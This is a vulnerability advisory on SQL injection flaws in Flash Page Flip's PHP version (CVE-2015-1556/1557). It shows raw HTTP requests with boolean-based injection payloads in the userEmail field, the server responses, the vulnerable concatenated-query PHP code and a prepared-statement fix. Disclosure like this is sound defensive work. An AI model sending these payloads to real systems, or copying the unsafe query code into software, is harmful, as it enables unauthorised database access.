Multiple SQL Injection Vulnerabilities in Flash Page Flip

Initial Notification Date	27th January 2015
Published Date	29th April 2015
Vendor	Flash Page Flip
Affected Versions	Flash-PHP
Risk Rating	High
CVE Reference	CVE-2015-1556, CVE-2015-1557
Author	Sagi Shahar

Description

The Flash-PHP version of Flash Page Flip was found to be vulnerable to SQL injection in multiple locations on different pages. This may enable attackers to execute arbitrary SQL statements on the backend database.

Cause

Implementation of user input validation was weak in some cases or did not exist at all.

Impact

Successful exploitation provides access to the backend database in the context of a database user that was set within the web application configuration.

Technical Details

One example where it was possible to successfully identify SQL injection can be seen below:

```
POST /GetUserData.php HTTP/1.1
Host: xxx.xxxxxxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.4.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

userData=Login&userPassword=123456&userEmail=xxx%40xxxxx%2Exxx'%20and%201=1
%20--%20a&onLoad=%5Btype%20Function%5D
```

In this instance, the SQL query returned 'true' and as a result, the HTTP response returned from the server was:

```
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2015 06:36:21 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Content-Length: 16
X-Cnection: close
Content-Type: text/html; charset=UTF-8

userID=3&login=1
```

However, when the 'userEmail' parameter was changed to return a 'false' value from the backend database as can be seen below:

```
POST /GetUserData.php HTTP/1.1
Host: xxx.xxxxxxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.4.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

userData=Login&userPassword=123456&userEmail=xxx%40xxxxx%2Exxx'%20and%200=1
%20--%20a&onLoad=%5Btype%20Function%5D
```

The server returned the following HTTP response:

```
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2015 06:42:42 GMT
Server: Apache
X-Powered-By: PHP/5.3.3
Content-Length: 7
X-Cnection: close
Content-Type: text/html; charset=UTF-8

login=0
```

Through source code review of the vulnerable file, it was identified that no user input validation was implemented before sending the SQL query to the database. The following is a snippet of the vulnerable code within GetUserData.php:

```
if($_SERVER['REQUEST_METHOD'] == "POST")
{
        $userData = $_POST["userData"];
        $userPassword = $_POST["userPassword"];
        $userEmail = $_POST["userEmail"];
        $UserID = $_POST["UserID"];
        $MagID = $_POST["MagID"];
        $MagNo = $_POST["MagNo"];
        $PageNo = $_POST["PageNo"];

<snipped>
```

```
if($_POST["userData"] == "Login")
{
        $qry = "select id, password from users where
email='".$userEmail."'";

        $db->execute_sql($qry,$result,$error_msg);
        if($error_msg <> "")
        {
                echo "login=0";
        }
        else
        {
                $row = mysql_fetch_object($result);
                if($row->password == $userPassword)
                {
                        echo "userID=".$row->id."&login=1";
                }
                else
                {
                        echo "login=0";
                }
        }
}
```

In other instances weak input sanitisation functionality was implemented, before the SQL query was sent to the backend database. This can be seen in the example below:

```
$catName = str_replace("'","",$_POST["catName"]);
```

Overall it was discovered that most of the SQL queries were vulnerable to SQL injection and as such must be re-implemented.

The following is an example of a secure PHP implementation that utilises the mysqli extension in order to prevent SQL injection:

```
$stmt = $dbConnection->prepare('SELECT * FROM table WHERE attribute =
?');
$stmt->bind_param('s', $attribute);
$stmt->execute();
$result = $stmt->get_result();
```